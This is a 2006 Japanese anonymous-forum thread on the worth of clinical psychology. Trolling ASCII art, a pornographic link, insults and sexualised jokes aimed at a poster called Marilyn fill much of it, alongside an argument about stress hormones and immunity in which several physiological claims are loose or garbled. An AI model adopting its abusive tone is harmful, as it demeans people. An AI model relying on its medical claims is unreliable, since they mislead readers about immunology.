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臨床心理学を学ぶ意義・価値って・課題って何?

1 :没個性化されたレス↓:2006/07/10(月) 16:54:31
臨床心理学を学ぶ意義・価値って・課題って何?

2 :没個性化されたレス↓:2006/07/10(月) 17:03:42
ありません。

3 :没個性化されたレス↓:2006/07/10(月) 17:33:57
age


4 :没個性化されたレス↓:2006/07/10(月) 17:52:16


5 :没個性化されたレス↓:2006/07/10(月) 20:01:00
>1

 無い
 氏ね
@@@@@@@@@@終了@@@@@@@@@@@@@@@@@@@

6 :没個性化されたレス↓:2006/07/16(日) 11:07:33


7 :没個性化されたレス↓:2006/07/19(水) 20:05:47
 

8 :没個性化されたレス↓:2006/07/20(木) 11:49:55


9 :没個性化されたレス↓:2006/07/22(土) 12:08:03
 


10 :没個性化されたレス↓:2006/07/22(土) 22:40:26


     キンタマをいくつも持つ男


 自演コテ犯=【苦悩するドナ ◆oyDevpsyVg =ロボ ◆SOOOOROBOM】

 http://academy4.2ch.net/test/read.cgi/psycho/1046868314/458-464

 http://academy4.2ch.net/test/read.cgi/psycho/1116159415/53-68

 http://academy4.2ch.net/test/read.cgi/psycho/1011054931/607-610




11 :没個性化されたレス↓:2006/07/23(日) 09:35:45






















12 :没個性化されたレス↓:2006/07/23(日) 21:09:49
実際の臨床場面です↓   ご参考までに

http://www.pornotube.com/media.php?m=8187

13 :没個性化されたレス↓:2006/07/23(日) 21:28:28
>1
自己満足

14 :没個性化されたレス↓:2006/07/24(月) 02:40:21
セクハラ臨床心理士に社会的制裁の方法とは?
http://academy4.2ch.net/test/read.cgi/psycho/1153237167/


15 :没個性化されたレス↓:2006/07/26(水) 20:06:49
知能が低い人にもそれなりに自尊心を持ってもらうための
慈善事業なんです

16 :まゆ:2006/07/26(水) 20:14:02
http://item.furima.rakuten.co.jp/item/63251094/c_no=200272

17 :没個性化されたレス↓:2006/08/10(木) 00:31:23



 臨 床 心 理 学 を 学 ん で、


 摂 理 の 鄭 明 析 を 目 指 そ う !!






18 :没個性化されたレス↓:2006/08/12(土) 00:03:30



      臨 笑 心 狸 学 








19 :没個性化されたレス↓:2006/10/16(月) 15:39:35
あげ

20 :没個性化されたレス↓:2006/10/16(月) 19:39:42
やっぱ臨床だね

21 :没個性化されたレス↓:2006/10/16(月) 19:58:23
臨笑心狸は、知能が低い人にもそれなりに自尊心を持ってもらうための
慈善事業なんです

22 :没個性化されたレス↓:2006/10/16(月) 20:02:27
医療心理学

23 :没個性化されたレス↓:2006/10/16(月) 20:05:36

                     目障りなんだよ、タコが!!
                           ∧_∧
◎               へ          (´<_` )  
  \    ≫ ̄ ̄ ̄ ̄彡ヽ ̄ ̄ ̄ ̄ ̄ ̄⌒    \
      彡____人  )  ̄ ̄ ̄ ̄ ̄\       )
 ◎-●一( * *    ヽミ          |.      |
      ((_ _ (( ( ;;-=- ̄=─ ̄ '⌒ヽ〉     | |
 ‘,'.∴・,‘・(ε ((  ヽ-=_二__ ̄    \     | |
  ,'.・∵  ヽ_____ ノ       ̄\     / /
       (__))     ヽ        .\__/_丿
       |  |  臨笑心狸 ヽ          .|  |
       |  |______)          |  |
       |  〉三三三[□]三)        |  |
       ノノノノ:::::::::::::::::::::::::::::/         \ ヽ
       ~~~|::::::::::::::::::/:::::::/              \ |
         |;;;;;;;;;;;;;;;/;;;;;;;/            / ノ
        (___|)_|)           `-


24 :没個性化されたレス↓:2006/10/16(月) 23:38:29
                       _,,t-‐‐-、,-‐‐-、
                     三'::::::............... .....::::::`y,.
                     ナ::::::::::::::::::::::::::::::::: :::::::::::::ヾ
              | ̄|   V::::::::::::::::_{{ ({∫∬ノノjヾ:::::{
           | ̄| | ̄|   ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_ t;;:ヌ
           |  | |  |  イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f 臨笑詐欺師には
           |  | |  |  i {t)テ" ヘ' '___,イ ヽ_/ 介'    気をつけろ  
           |  | |  | _,rヘ_,j|!'     /ー--''!     |'     
           |,.ィ―'''' ̄ /| |       /二ク     !      
           /;;:::'';;::''::;;:/ { ! 、     ヾニン   ノ\
            /'''::::;r|''':::;;;|  | ! \       _,,./|::;;'''\
        /:;;/ |;;;''::;;|   丶\  `__>-ー´   !;;;:'''::iヽ、
          i/   |'::;;;;''|      三 ―''"       !''::;;;;| /ヽ
        /⌒ヽ  |;;''':::;|       \            !;;::''|/  i
         /     \{'';;;::''}          ̄二ニ=    !::;;|   |
        /ヘ     |;;:::::;{            ‐-      !/   |
        /  i     |:::;;;''!             ー       !  / |
     /   l     |;;'';イ                   }   {、
     〉、      ∧テ{ ヽ  _   _,,,,;;;;;:::-==ニ;;;_   ノ __,イ´
      / \_    //レ!      ̄           ̄ { ̄  |


25 :没個性化されたレス↓:2006/10/18(水) 20:50:59
    ,ィィr--  ..__、j
   ル! {       `ヽ,       ∧
  N { l `    ,、   i _|\/ ∨ ∨
  ゝヽ   _,,ィjjハ、   | \
  `ニr‐tミ-rr‐tュ<≧rヘ   > カウンセラーなんてセクハラは日常茶飯事、当たり前!
     {___,リ ヽ二´ノ  }ソ ∠  嫌だったら来なければいいんだよ!
    '、 `,-_-ュ  u /|   ∠
      ヽ`┴ ' //l\  |/\∧  /
--─‐ァ'| `ニ--‐'´ /  |`ー ..__   `´
    く__レ1;';';';>、  / __ |  ,=、 ___
   「 ∧ 7;';';'| ヽ/ _,|‐、|」 |L..! {L..l ))
   |  |::.V;';';';'| /.:.|トl`´.! l _,,,l | _,,|  , -,
    ! |:.:.:l;;';';';'|/.:.:.:||=|=; | |   | | .l / 〃 ))
    l |:.:.:.:l;';';'/.:.:.:.:| ! ヽ \!‐=:l/ `:lj  7
    | |:.:.:.:.l;'/.:.:.:.:.:.! ヽ:::\::  ::::|  ::l /


26 :没個性化されたレス↓:2006/10/19(木) 03:42:57
治りました。

27 :没個性化されたレス↓:2006/10/19(木) 11:37:34
良かったね。


28 :没個性化されたレス↓:2006/10/19(木) 16:11:28
ユーたち、臨床やっちゃいなよ


29 :没個性化されたレス↓:2006/10/21(土) 00:28:09


           _/ノ.. /、 ただいま臨笑中
           /  <   }
      ry、     {k_ _/`;,  ノノ パンパン
    / / }      ;'     `i、 
   _/ノ../、   _/ 入/ /   `ヽ, ノノ
  / r;ァ  }''i" ̄.   ̄r'_ノ"'ヽ.i   ) ―☆
 {k_ _/,,.'  ;.  :.      l、  ノ  
    \ `  、  ,i.    .:, :, ' / / \
     ,;ゝr;,;_二∠r;,_ェ=-ー'" r,_,/   ☆



30 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:11:35
386 名前:没個性化されたレス↓ 投稿日:2006/10/23(月) 03:18:44
免疫力高める乳酸菌発見…熊本県立大と大塚製薬

 ウイルスや細菌などの病原体が、口や鼻から感染するのを防ぐ機能を高める新しい乳酸菌を発見したと、
熊本県立大と大塚製薬の共同研究グループが14日、札幌市で開かれた日本消化器関連学会で発表した。

 かぜやインフルエンザなどの予防対策に利用が期待される。

 南久則・同大教授らの研究グループは、様々な乳酸菌をマウスに飲ませて、
気道などの粘膜上で病原体の感染を防ぐ免疫物質の分泌量を調べた。その結果、
ある種の発酵茶から採取した乳酸菌を飲ませると、IgAという免疫たんぱく質の分泌量が、
飲ませなかったマウスよりも約6倍増えた。その乳酸菌を、健康な20歳代の被験者7人に21日間飲ませて、
唾液(だえき)に分泌されるIgAの量を調べたところ、摂取前よりも明らかに分泌量が増えていた。

 南教授は「乳酸菌の摂取で、人の唾液中の免疫たんぱく質の増加が確認されたのは初めて。
免疫力が低下した高齢者の感染症対策に期待できるのではないか」と話している。


387 名前:386 投稿日:2006/10/23(月) 07:08:55
心理学じゃなかった 誤爆スンマソ

31 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:11:51
388 名前:マリリン ◆IxLejT1KUU 投稿日:2006/10/25(水) 16:07:43
>>387
まず、教えて下さってありがとう。

何故、心理学と関係ないと思うの? マリリンには心理学の人が臨床をやる以上
大切な話だと思うよ。

医薬品は医者や獣医じゃなきゃ使えないけど、それ以外、健康食品、アロマ、音楽、ペット
温泉、岩盤浴など、何でも心理学の臨床の中で、アイテムとして使えるよ。

最初から、除外してしまうのは、何でも取り入れてしまう心理学板の人らしくないね。

マー、わかっているから、このスレに遠慮気味に書き込んだんだろうけどね。

カウンセリングだけが臨床心理学の治療法ではないと思う。



32 :没個性化されたレス↓:2006/10/27(金) 00:13:25
その通りです。君の心的現実においては。

33 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:14:12


皆さん、お久しぶりです。

久しぶりに、ちょっとマリリンの遊びませんか?


>>30>>31

を心理学板の人はどのように考えますか?


34 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:15:55
>>32
>その通りです。君の心的現実においては。

それでは説明にも、会話にもなりません。ちゃんと、
会話が成り立つように書き込んで下さい。



35 :没個性化されたレス↓:2006/10/27(金) 00:37:07
                       _,,t-‐‐-、,-‐‐-、
                     三'::::::............... .....::::::`y,.
                     ナ::::::::::::::::::::::::::::::::: :::::::::::::ヾ
              | ̄|   V::::::::::::::::_{{ ({∫∬ノノjヾ:::::{
           | ̄| | ̄|   ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_ t;;:ヌ
           |  | |  |  イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f 世間を欺く
           |  | |  |  i {t)テ" ヘ' '___,イ ヽ_/ 介'    似非ガクモンだな
           |  | |  | _,rヘ_,j|!'     /ー--''!     |'     
           |,.ィ―'''' ̄ /| |       /二ク     !      
           /;;:::'';;::''::;;:/ { ! 、     ヾニン   ノ\
            /'''::::;r|''':::;;;|  | ! \       _,,./|::;;'''\
        /:;;/ |;;;''::;;|   丶\  `__>-ー´   !;;;:'''::iヽ、
          i/   |'::;;;;''|      三 ―''"       !''::;;;;| /ヽ
        /⌒ヽ  |;;''':::;|       \            !;;::''|/  i
         /     \{'';;;::''}          ̄二ニ=    !::;;|   |
        /ヘ     |;;:::::;{            ‐-      !/   |
        /  i     |:::;;;''!             ー       !  / |
     /   l     |;;'';イ                   }   {、
     〉、      ∧テ{ ヽ  _   _,,,,;;;;;:::-==ニ;;;_   ノ __,イ´
      / \_    //レ!      ̄           ̄ { ̄  |


36 :没個性化されたレス↓:2006/10/27(金) 00:44:29

    こ れ が 臨 笑 心 狸 ガ ク だ

::::::::::::::::。::::::...... ...   __    :::::::::::::::::::: ..::::: . ..::::::::
::::::::...... ....:::::::゜::::::::::.. /:::::::::::ヽ   ::::。::::::::::::::::: ゜.::::::::::::
:. .:::。::... . .:::::::::::::  |;;;;ハ;;;;;;;;;;|  :::::。 , r−、  ::::::::::::: . . . ..::::
   ,r‐-、...:☆彡:::: トイ ^ o^ t;|    /    `、  ::::::::::゜:::::::::: ...:: :::::
  /  、 \ . . . ..: >‐-ュr'ニヽ、  /  i   l、  ::::::. .... .. .::
  |   '|  \ _.r'´ノニーイニヽ,\/    |   l  ::::。::::::.
  |    |   `</ lo )  ⌒q! /    .|   |  ::::::::゜::::::::::
  .|    |    \/'    _,  |/     ト、  !  ..... . .:::::::........ ..::::
  |   |      \ ⌒,,,⌒ /       ハ   ヽ  ..... . .:::::...... ..:: ..
  .|   .|ヘ       \ 巛《 /       l )   \   ::.. .
   |   .| ヽ       彡゚д゚ミ       ,' ノ     \ ...: ..:::: .
  ノ   ヽ ヽ       ミ《》彡     .ノ ゝ、__      
/     ヽヘ、       ミ*ミ    /      `⌒     .
     _ノ  `ー 、. _   ,X、._,.-‐'´    :.... .... .. .:.... .... .. 



37 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:45:02
心理学の臨床は、今のままだと、そのように言われても仕方がない部分があると思う。

だって、治療法に会話しかアイテムを持たないなんてへんだもの。


話は変わるけど、私、さっき仕事から帰ってきたばかりで、ブログの更新するにも
疲れちゃったし、医者板のスレは乗っ取られちゃっうしで、ちょっと時間が空いたので
心理学板で久しぶりにおしゃべりすることにしたの。


疲れたから、今日はこれで落ちるけど、また、遊んでね。

ちょっとは、骨のあること書き込んでおいでよ。待っているから。







38 :没個性化されたレス↓:2006/10/27(金) 00:46:39

  マリリン、ヤルか?

           _/ノ.. /、
           /  <   }
      ry、     {k_ _/`;,  ノノ パンパン
    / / }      ;'     `i、 
   _/ノ../、   _/ 入/ /   `ヽ, ノノ
  / r;ァ  }''i" ̄.   ̄r'_ノ"'ヽ.i   ) ―☆
 {k_ _/,,.'  ;.  :.      l、  ノ  
    \ `  、  ,i.    .:, :, ' / / \
     ,;ゝr;,;_二∠r;,_ェ=-ー'" r,_,/   ☆



39 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:47:17
>>36

こういうレスは心理学板らしいわね。


それと

>>32
>その通りです。君の心的現実においては。

これもね。


懐かしいフレーズだけど、こういうことを言っていても何も始まらないよ。


40 :マリリン ◆IxLejT1KUU :2006/10/27(金) 00:48:42
>>38


あははは。

マリリン、健康板と医者板で、前にも増して逞しくなったから、負けないぞ。

ただし、今日は眠いから、明日ね。お休み。

41 :没個性化されたレス↓:2006/10/27(金) 00:50:02
何も始める気は無いのでは

42 :没個性化されたレス↓:2006/10/27(金) 01:19:29
やっぱ、臨床だね。
釈迦に念仏かもしれませんが、
免疫療法と心理臨床科学との接点はストレス対処ですね。
ストレッサーに対してストレスホルモンのコーチゾルが増殖します。
このコーチゾルに免疫細胞はレセプターを持ち
ストレスホルモンの働きを抑えます。
しかし、免疫細胞がストレスの抑制に集中すると
他の病原体に対して手薄になるわけです。
つまり、ストレスに晒されている人はですね
病気になりやすいわけなんです。
ですから、いかにストレスに対処していくかということは
身体の病気に対する予防にもなるわけです。
精神と免疫のコミュニケーション。

臨床心理学かっこいいね♪

43 :没個性化されたレス↓:2006/10/27(金) 06:17:59
オー マイ ブッダァ
念仏は馬鹿で
釈迦は説法ですね。
でも、全然気にしません。

44 :マリリン ◆IxLejT1KUU :2006/10/27(金) 12:34:03
>>42

>ストレスに晒されている人はですね病気になりやすいわけなんです。
>ですから、いかにストレスに対処していくかということは
>身体の病気に対する予防にもなるわけです。

これは間違っているわけではないけど、ちょっとおおざっぱすぎないですか?

>ストレッサーに対してストレスホルモンのコーチゾルが増殖します。
>このコーチゾルに免疫細胞はレセプターを持ち
>ストレスホルモンの働きを抑えます。
>しかし、免疫細胞がストレスの抑制に集中すると
>他の病原体に対して手薄になるわけです。

これは、意味不明。免疫系はわかってないことも多いけど、臨床を
する以上、大切なことなのでもう少し整理されて勉強されるといいと思
います。




45 :没個性化されたレス↓:2006/10/27(金) 12:37:33
マリリンの助言??? うざいなー。

46 :マリリン ◆IxLejT1KUU :2006/10/27(金) 13:54:22
>>45
だってね。臨床をやっているのに、ストレスに対する体の反応が、この程度しか
認識されてないのでは、ちょっとまずくないかい?


>コーチゾルに免疫細胞はレセプターを持ち ストレスホルモンの働きを抑えます。
>免疫細胞がストレスの抑制に集中すると他の病原体に対して手薄になるわけです。


こんな現象、あったっけ?

こんなことは、始めて聞いたよ。ソースは何?

47 :没個性化されたレス↓:2006/10/27(金) 13:57:13
多田先生

48 :マリリン ◆IxLejT1KUU :2006/10/27(金) 18:48:49
>>47
>多田先生って

授業で習ったという意味?貴方が聞き間違えただけじゃないの?


ちょっと聞くけど、ストレスホルモンって、どんな種類があって、どのように
分泌されるか知っている?


免疫細胞も多くの種類があって、それぞれの役割が違うけど知っている?






49 :没個性化されたレス↓:2006/10/27(金) 19:29:53
世界的免疫学者、多田富雄を敵にまわすのですね?
どっちが無知なのかは予想はできますがwww


50 :没個性化されたレス↓:2006/10/27(金) 19:43:42

  マリリン、ヤルか?

           _/ノ.. /、
           /  <   }
      ry、     {k_ _/`;,  ノノ パンパン
    / / }      ;'     `i、 
   _/ノ../、   _/ 入/ /   `ヽ, ノノ
  / r;ァ  }''i" ̄.   ̄r'_ノ"'ヽ.i   ) ―☆
 {k_ _/,,.'  ;.  :.      l、  ノ  
    \ `  、  ,i.    .:, :, ' / / \
     ,;ゝr;,;_二∠r;,_ェ=-ー'" r,_,/   ☆



51 :没個性化されたレス↓:2006/10/27(金) 19:54:13
詳しい説明は教科書に譲るとして、
スレスト反応が免疫機能を抑制するのは事実です。
それにより、防御が弱くなり病原体に侵されやすくなるのです。
これは事実です。

52 :没個性化されたレス↓:2006/10/27(金) 20:00:01
ついでなので、専門家のマリリソさん、
ストレス反応の影響について
交感神経系の経路と内分泌系の経路について
三年ロムってるギャラリーの皆さんに対して
詳しく説明しといてください。


53 :没個性化されたレス↓:2006/10/27(金) 20:07:11
あら、ミスったわ。
いいや、マリリソ先生が直して詳しく説明してくれるさ。

54 :マリリン ◆IxLejT1KUU :2006/10/27(金) 21:55:31
>>49
>世界的免疫学者、多田富雄を敵にまわすのですね?

世界的だろうが何だろうが、免疫学の世界は細分化し過ぎて、全体像が良く分からなく
なっていると言われている。

最先端の免疫学は学者によって、言っていることも用語も違っているしね。

臨床に応用する場合は免疫系の全体像を掴めば良いはず、特に臨床心理学の場合は
細分化された免疫学は必要ないでしょう。



55 :マリリン ◆IxLejT1KUU :2006/10/27(金) 21:57:00
>>52

ごめん、マリリンは今日しんどいので、貴方のレスに対するお答えは、
内容が重たいので、明日まで時間ちょうだい。

今日はこれで落ちます。お休み

56 :没個性化されたレス↓:2006/10/28(土) 12:32:30
期待あげ

57 :没個性化されたレス↓:2006/10/28(土) 13:22:30
多分、もうレスがないか話題を代えるでしょう
黒猫さんは、断片的な知識だけはあるようです
しかし、木をみて森をみず
私たちは木をみますが同時に森もみるし
世界もみます
システムとしての思考法ができない黒猫さんとは
次元が違うのです

58 :没個性化されたレス↓:2006/10/28(土) 19:50:51
                  //            ヽ
                ,:' ,:' ,:' /              ヽ
               ,' ,' ,' ,:' / / ,:',:' ,:'  ゙、     ゙、
                '‐'= '-'、_/ / ,' ,' ,'  r--、ヽ    ',
                   ヾl -ミヽ,/_,' ,'ミ=L_,`冂二 ̄| !
                 | `h、ヽ\ヾ>‐-‐ /7゙|`、  ̄ l   
                 ___ノ  ,リ );; U  ミ‐-‐/| | ',   !  
まあ、なんて悲惨な    ..',  ‐''-   u   '⌒ヽ_| |  |  |
                 :ヽ  ...:::::::......  (゙ノ ノ | |  |
バカ達なんでしょう・・・      }        -‐' /   ̄   |
                /,,~、_          ,'  /      ',
               ,-( {__}、7゙ク ゙̄',   ', (   ,'     ヽ
              ∧_}   ヽ {   |--‐ \ ゙、 (       `ヽ
             ( ヽ,     ゙、 r‐ノL__,,, 、-‐-、ヽ、        ヽ
            /(゙"       ノ /0/  /    ヽ ヽ      ゙、 ゙、
           (  \     / /o/ /       '、 `ヽ、  ノ } }



59 :没個性化されたレス↓:2006/10/28(土) 21:04:09
( ̄ー ̄)ニヤリッ

60 :マリリン ◆IxLejT1KUU :2006/10/28(土) 21:23:38
>>51
>スレスト反応が免疫機能を抑制するのは事実です。
>それにより、防御が弱くなり病原体に侵されやすくなるのです。
>これは事実です。

確かに、これは間違ってはいません。ただし、どんなストレスに曝されて、免疫が抑制された
ため、病原体に犯されやすくなっているのかまで考えないと、治療に使えないと思います。

例えば、環境ストレスと精神的ストレスでは対処法が違っていなくてはおかしいです。



61 :没個性化されたレス↓:2006/10/28(土) 21:26:05
で?

62 :マリリン ◆wiZPnOjBoo :2006/10/28(土) 21:42:38
御免なさいね
ちょっと生理でイライラしちゃって

63 :マリリン ◆IxLejT1KUU :2006/10/28(土) 21:49:51
>>52

>ストレス反応の影響について
>交感神経系の経路と内分泌系の経路について
>三年ロムってるギャラリーの皆さんに対して
>詳しく説明しといてください。


簡単に説明するのは難しいなぁ。

生体になんだかのストレスがかかると、交感神経が興奮して、心排出量や心白数が増えたり
末梢血管が縮んだり、消化管の働きが鈍くなったりする。体を守るために、いわゆる交感神経過剰の症状が
出現するわけだ。

副腎に対しは、髄質に交感神経の節前繊維の興奮が伝わり、髄質からアドレナリンが分泌
される。分泌されたアドレナリンは血流にのって、体の広い範囲で交感神経興奮作用をあらわすホルモン
です。


また、同じ副腎でも皮質に対しては、視床下部にある下垂前葉から副腎皮質刺激ホルモン
が分泌されることによって、コーチゾル(副腎皮質ホルモン)は分泌される。ストレスに対して
体が壊れてしまわないように、血圧や血糖を上げたり、体液の保留などの作用をあらわす。




64 :マリリン ◆IxLejT1KUU :2006/10/28(土) 21:50:15
また、交感神経や副交感神経のバランスを制御したり、下垂体のホルモンを制御する場所は
脳の間脳と言われる部分にある。


私は、間脳を制御してい物質は、それより上位中枢の脳の刺激だったり、そこから分泌される
脳内ホルモンだったりするのではないかと思っている。

また、黄体ホルモンや卵胞ホルモンに見られる、フィーバック機能も、下垂体のホルモンの
制御に一役かっていることは知られている。

65 :マリリン ◆IxLejT1KUU :2006/10/28(土) 21:54:24
これね。全部書くの難しいよ。この程度の基礎医学は、自分たちで勉強して下さい。

簡単な生理学と解剖学を勉強した後で、わからないとこだけ聞いてくれると助かるけど。
ダメですか?


>>63
自己レス 訂正。

下垂前葉  ×

下垂体前葉  ○

66 :マリリン ◆IxLejT1KUU :2006/10/28(土) 22:06:27
>>42
>コーチゾルに免疫細胞はレセプターを持ち ストレスホルモンの働きを抑えます。
>免疫細胞がストレスの抑制に集中すると他の病原体に対して手薄になるわけです。

この部分、何処がおかしいかと言うと、コーチゾルに免疫細胞がリセプターをもつと言うのは
始めて聞いた。

副腎皮質ホルモンが分泌されると、胸腺やリンパ節が萎縮して、リンパ球数が減少するために
免疫抑制がおこるのではないの?

ストレスに曝されると、怪我などをし易いので、生体は顆粒球を増やす必要がある。
そのため、ストレスに曝され交感神経が興奮すると、顆粒球にアドレナリンやノルアドレナリンの
リセプターがあって、その数を増やし、顆粒球が増えると、それにともなってリンパ球の
司令塔である単球が増えてくるのだと思う。


決して、コーチゾルが免疫細胞を動かして、ストレスと戦っているわけではないと思うよ。


67 :マリリン ◆IxLejT1KUU :2006/10/28(土) 22:50:44
>>57
>私たちは木をみますが同時に森もみるし、世界もみます


何を言っているのかよくわからないなぁ。

免疫細胞とか副腎とか胸腺とか下垂体とか、何処にあって、どんな形態をしていて、
どのような働きがあるのか、簡単でもいいから 、貴方知っているの?

この質問に答えられないようだと、ストレスに対する治療をしようとする場合、

>私たちは木をみますが同時に森もみるし、

なんてことは、できていないし、そのこと自体貴方は気がついていないと思うよ。


臨床をやる以上、簡単な生理と解剖はどうしても勉強しなければならないことです。

例え心理臨床であろうが、これを勉強していない臨床家を私は臨床家として
認めることができません。


68 :マリリン ◆wiZPnOjBoo :2006/10/28(土) 23:03:11
生理はなぜ起こるの?
教えてちょうだい

69 :マリリン ◆IxLejT1KUU :2006/10/28(土) 23:14:28
>>68

私も、凄く不思議だよ。だって、人間のような生理のある動物って、あんまりいないもの。

猫や、豚や、うさぎなど出血なんてないし、犬は、出血と排卵は同時だしね。

どうして、人間の生理って、あんなに出血するんだろうね。わからないよ。





ごめん、明日、早いので今日はこれで落ちるね。お休み。



70 :没個性化されたレス↓:2006/10/28(土) 23:19:50
ストレス反応であるアドレナリン、ノルアドレナリンの分泌
は免疫抑制作用を持ちます。

また、内分泌経路を適当に書くと、CRHとVPからβエンドルフィンとACTH、
ACTHからグルココルチコイドが生産されます。
このグルココルチコイドは、ヘルパーT細胞の機能を抑制します。
また、ACTHACTHはリンパ球の抗体生産の抑制、
T細胞によるインターフェロンγの生産抑制などをし、
βエンドルフィンは、免疫細胞を活性化する一方で抗体の生産を抑制します。
CRHの一部は血中に流れ出て免疫細胞と結合もします。
それにより、免疫細胞自身がACTHとβエンドルフィンを生産してしまいます。

71 :没個性化されたレス↓:2006/10/28(土) 23:21:06
臨床、いいじゃん!

72 :没個性化されたレス↓:2006/10/28(土) 23:25:56
>>71

その通りです。君の心的現実においては。


73 :没個性化されたレス↓:2006/10/28(土) 23:41:07
>>71
やっぱ、臨床だね♪

74 :没個性化されたレス↓:2006/10/29(日) 11:17:30
晒しあげ

75 :没個性化されたレス↓:2006/10/30(月) 19:18:47
( ̄ー ̄)ニヤリッ

76 :没個性化されたレス↓:2006/10/30(月) 22:20:43
>>71>>73 その通りです。君の心的現実においては。

77 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:28:12
>>70
>ストレス反応であるアドレナリン、ノルアドレナリンの分泌
>は免疫抑制作用を持ちます

ふーむ?これ、どうして?

こんな簡単に「アドレナリンやノルアドレナリンは免疫を抑制する」
と言われて、貴方なら納得する?



>また、内分泌経路を適当に書くと、CRHとVPからβエンドルフィンとACTH、
>ACTHからグルココルチコイドが生産されます

ごめんなさい。これも意味が分からない。参考までに調べてきた。



78 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:29:22

>副腎皮質刺激ホルモン(ACTH)は39個のアミノ酸からなるポリペプチドで、下垂体前葉の
>ACTH産生細胞からpro-opiomelanocortin(POMC)と呼ばれる前駆物質を経て産生、
>分泌される。


>ACTHの合成、分泌は主に視床下部から分泌される副腎皮質刺激ホルモン
>放出ホルモン(CRH)により調節され、ACTHは副腎皮質から糖質コルチコイドを含
>むすべての副腎皮質ホルモンの分泌を促進する。

>ACTHはCRHにより下垂体前葉で合成、分泌され、副腎皮質から糖質コルチコイド
>(コルチゾール)、および思春期以後は副腎アンドロゲン(DHEA-S)の分泌を促進する。
>一方、ACTHおよびCRHの分泌はコルチゾールによるネガティブフィードバックにより
>抑制される。



79 :没個性化されたレス↓:2006/10/30(月) 23:29:38
マリリソがストレスについて、全くわかってないことが判明しました。

80 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:31:27
βエンドルフィンがどう関係している?

81 :没個性化されたレス↓:2006/10/30(月) 23:32:29
>>78
で、ストレス反応と免疫機能との関係について調べましたか?
かいてみなさい。

82 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:34:58
>グルココルチコイドは、ヘルパーT細胞の機能を抑制します。

えっ。グルココルチコイドがどうやってヘルパーT細胞を抑制するわけ?

>T細胞によるインターフェロンγの生産抑制などをし

えっ。ワケ分からない。こんなこと始めて聞いたよ。

83 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:36:05
>CRHの一部は血中に流れ出て免疫細胞と結合もします。
>それにより、免疫細胞自身がACTHとβエンドルフィンを生産してしまいます。


こんなことも始めて聞いた。ソースを出してくれる。





84 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:39:56
>>81
>ストレス反応と免疫機能との関係について調べましたか?


そんな、一言でかけないよ。


それよりも>>70が、とのように臨床上の意義があるのか教えてくれませんか。

どうやって、貴方の知識を臨床実践とむつびつけていますか?


85 :没個性化されたレス↓:2006/10/30(月) 23:43:38
それよりもじゃありません。
自分の無知を棚に上げて何様ですか。
まず、誠意を持って81について調べて書きなさいよ

86 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:43:49
えっ。これ何処で習ってきた免疫学なの?


心理の人は、>>70のように免疫学は習うの?

そうだとすると。基礎医学とはかけ離れていると思うよ。

87 :没個性化されたレス↓:2006/10/30(月) 23:44:21
http://sasosaso.s2.aiosr.net/

88 :没個性化されたレス↓:2006/10/30(月) 23:46:40
臨床、やるじゃん♪

89 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:46:57
>>85
>誠意を持って81について調べて書きなさいよ


って言われても、基本とする免疫の理論が違う。それで何を話せと言うの?

私には、貴方が悪い冗談を言っているとしか思えないんだけど。

90 :没個性化されたレス↓:2006/10/30(月) 23:51:12
あんたは、免疫についての基礎知識はあるようですが、
そこに、ストレスとの関連性という視点がなかったのです。
システムという視点がないのです。


91 :没個性化されたレス↓:2006/10/30(月) 23:52:45
んまあ、爪でももんで早く寝なさい。
では、おやすみ。

92 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:53:44
おいおい。

心理臨床の人って、この程度の医学的知識で臨床をやっているワケではないよね。

信じられないわ。

93 :没個性化されたレス↓:2006/10/30(月) 23:54:51
この程度も知らない獣医が負け惜しみですか?

94 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:56:16
>>70は、患者さんが書かれたんだよね?







95 :マリリン ◆IxLejT1KUU :2006/10/30(月) 23:58:46


>>93も患者さんだよね。心理学徒だなんて言わないでよ。

私のわずかな信頼が崩れ落ちるから。

本当は心理の人はどの程度、ストレスと免疫について知っているの?





96 :没個性化されたレス↓:2006/10/30(月) 23:59:52
>70は、患者さんが書かれたんだよね?

ということは、素人の患者さんに負けたマリリン♪

97 :マリリン ◆IxLejT1KUU :2006/10/31(火) 00:09:19
私はね。心理学の人がどの程度の、医学的知識があるのか知らないんだわ。

グルココルチコイド、ヘルパーT細胞、インターフェロンγ、ACTH、CRHなんて
専門用語を何処で仕入れて来たのよ。


難しい言葉を使えば、相手は黙ると思うかも知れないけど、それは、あんたら素人の
さんの間だけの話。

頭のおかしい人を相手にするのは疲れたんで、今日はこれで落ちるけど。


あんたが言っていることは、私からしたら

ユングは、行動心理学を基礎として、ユング心理学の基礎を築き、超自我を持って
人を愛すると言っているのと同程度に聞こえるよ。 お馬鹿さん。 お休み。


98 :没個性化されたレス↓:2006/10/31(火) 00:10:25
        ,. -‐''' ー- 、ヽ‐---、::::::::\ ヽ、 i、
        / ´ ̄  ̄``ヾ lヽ、`'ー゙::::::::::::::;> Y′  あなたの患者さんヨ♥
 ト、   /            `ヾ、=;r‐<´ヽ. ヽ.l、   
-'ー゙-v':   ゙´ ̄ ミ =ミ:.、. 、\.\ヾ゙;、 ヽヾヽ |
 」::--三'      ミ: 、 >、ミ;、ヽ ヽ. ヽヽト、 lハヽ|
,..<,r:'´        、/;;r:''"ヾ;ト、ヽ.ヽ ヾ;ト、.`             ,. -_;'ニニ;_ 、_
::://,      ヽ、ベ、ミ;''ヽ;、__ノ;ゝl; ヽl」Lヽ〃rへ;_>=-‐‐.、  /./       `ヽヽ、_
